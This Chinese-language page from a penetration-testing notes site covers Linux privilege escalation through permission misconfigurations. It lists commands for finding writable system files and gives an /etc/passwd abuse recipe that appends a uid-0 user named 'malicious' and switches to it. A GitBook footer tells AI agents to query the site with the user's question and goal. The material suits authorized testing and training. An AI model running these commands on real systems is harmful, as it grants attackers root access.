> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/permissions.md).

# 权限

Linux 权限错误配置笔记，涵盖可写文件、/etc/passwd 滥用、智能枚举以及最小权限检查。

基于权限的提权利用可写文件、薄弱的所有权、暴露的敏感信息，或本应仅由 root 控制的敏感路径。即使是很小的权限错误，只要影响到认证文件或特权执行路径，也可能直接导致 root 访问。

## 方法

* 查找预期用户可控位置之外的可写文件和目录。
* 检查敏感文件的所有权和组权限，例如 `/etc/passwd`、备份、脚本和服务配置。
* 使用自动化枚举来捕获隐藏的权限错误，然后手动验证。

## 快速检查

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
权限配置错误会将敏感文件、可写路径或仅管理员可执行的操作暴露给低权限用户。务必验证可写文件、所有权、组访问权限以及执行上下文。
{% endhint %}

## 敏感可写文件

优先关注 root 会执行的可写系统文件、服务配置、备份和脚本。

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` 滥用

如果 `/etc/passwd` 可写，请生成一个受控哈希，并仅在实验环境或授权目标中添加一个临时的 root 等效用户：

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Linux 权限计算器</h4></td><td>搜索八进制和符号权限，转换模式，检查 SUID/SGID/sticky 位，并评估提权风险。</td><td><a href="/zh/privesc/permissions/linux-permissions-calculator.md">Linux 权限计算器</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>智能枚举</h4></td><td>面向 Linux 提权的智能枚举工具说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/permissions/smart-enumeration-linux-privilege-escalation.md">智能枚举 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>/etc/passwd 写入滥用</h4></td><td>面向 Linux 提权的权限管理（/etc/passwd）说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/permissions/etc-passwd-write-abuse-linux-privilege-escalation.md">/etc/passwd 写入滥用 - Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/permissions.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
